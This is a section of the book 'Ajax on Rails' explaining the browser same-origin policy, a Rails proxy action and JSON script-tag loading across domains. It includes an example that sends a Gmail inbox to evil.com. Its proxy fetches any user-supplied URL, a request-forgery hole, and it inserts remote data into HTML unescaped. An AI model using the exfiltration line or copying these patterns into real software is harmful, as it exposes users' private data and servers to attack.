Section 8.4. The Same-Origin Policy


8.4. The Same-Origin Policy

The most notable security-related issue with Ajax is the same-origin policy, sometimes called the single domain restriction. The rule enforced by most browsers is that JavaScript code may only issue Ajax requests to URLs from the same domain as the original pageor more accurately, the combination of domain, port, and protocol. (Subdomains are considered part of the origin as well, so a page loaded from example.com won't be able to make an Ajax request to www.example.com.)

To see the reason for the policy, just imagine what would be possible without it. For one, you could access my private email account. Take this code, for example:

new Ajax.Request('http://mail.google.com/mail/', {   onSuccess:function(request) {     secrets = request.responseText;     new Ajax.Request('http://evil.com/', { parameters:secrets });   } });

In a world without the same-origin policy, you could place that bit of code on your site, and then get me to visit (by posting a glowing review of Ajax on Rails, of course). Because my browser is already authenticated with Gmail, the contents of my inbox would be retrieved in the background and forwarded to your serverand I'd be none the wiser.

In other words, unfettered cross-domain Ajax would enable far more serious XSS-type attacks. Fortunately, that situation isn't possible with modern browsers, thanks to the same-origin policy.

Unfortunately, the policy seriously limits the potential for creating Ajax mashupsdynamically synthesizing data from all over the Web into new products. There are a couple of ways around the restriction, and fortunately they're possible without exposing serious security problems. The first is to use a server-side proxy, essentially routing all external requests through the server. The second approach is to bypass the XMLHttpRequest object and request external data by other means.

8.4.1. Creating an Ajax Proxy

A simplistic Ajax proxy can be created in Rails with a one-line action, using Ruby's Net::HTTP:

def repeat   render :text => Net::HTTP.get(URI.parse(params[:url])) end

The action expects one parameter, url. Ruby will send a GET to the given URL and pass the response through to the caller. With that action in place, your client-side JavaScript could use Ajax to request a URL with the parameter in URL-encoded form:

/repeat?url=http%3A%2F%2Fwww.rubyonrails.com%2F

For real-world use, the repeat method ought to have more thorough error handling, the ability to pass through responses with content types other than text/html, and the ability to proxy HTTP methods other than GET. Also keep in mind that the proxy method imposes a performance overhead, effectively doubling the amount of network traffic involved in each request.

Because the request to the external domain is happening at the server level, as opposed to the browser, the proxy can't be used to access private, session-protected data from a third party.

8.4.2. Bypassing XMLHttpRequest for Cross-Domain Requests

The easiest way to do cross-domain Ajax is with JSON (http://www.json.org), a lightweight data format that uses JavaScript's native syntax for data structures, making it ideal for delivering structured data to browsers. For example, the social bookmarking service del.icio.us provides JSON-formatted versions of every user's bookmarks. Here's what part of mine looks like:

Delicious.posts = [   { "u": "http://www.rubyonrails.com/",     "n": "Ruby on Rails",     "d": "The official Rails home page",     "t": ["frameworks","ruby","rails"]    },   // ... ]

By manipulating the DOM to dynamically insert script elements, the same-origin policy can be bypassed completely. In other words, by creating a new script node and setting the src attribute to the URL of a JSON file (or any JavaScript, for that matter), the remote file will be loaded and evaluated, no matter what its origin is. For example, this HTML (along with prototype.js), will dynamically load any del.icio.us user's bookmarks, given a username.

<script type="text/javascript">   DELICIOUS_URL = 'http://del.icio.us/feeds/json/'   function loadLinks(user) {     $('links').update(''); // clear the existing links     var s = document.createElement("script");     s.src = DELICIOUS_URL + user + "?callback=showLinks";     s.charset = "utf-8";     document.body.appendChild(s);   }   function showLinks(links) {     links.each(function(link) {       new Insertion.Bottom('links',          '<li><a href="' + link.u + '">' + link.d + '</a></li>');      });   } </script> <form onsubmit="loadLinks($F('user')); return false;">   <h2>     <input type="text"  value="sco">'s Bookmarks      <input type="submit" value="load">   </h2> </form> <ul ></ul>

As this example makes clear, JSON and dynamic <script> tags make it trivially easy to access data across domains. That makes JSON a great format for exposing web services.

The downside to the approach is that the source of the JSON data must be trusted, because it can run arbitrary JavaScript. For example, the above example assumes that the JSON response provided by del.icio.us isn't hostile. If it were, it could access the page's DOM and send potentially private information back.




Ajax on Rails
Ajax on Rails
ISBN: 0596527446
EAN: 2147483647
Year: 2006
Pages: 103
Authors: Scott Raymond

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net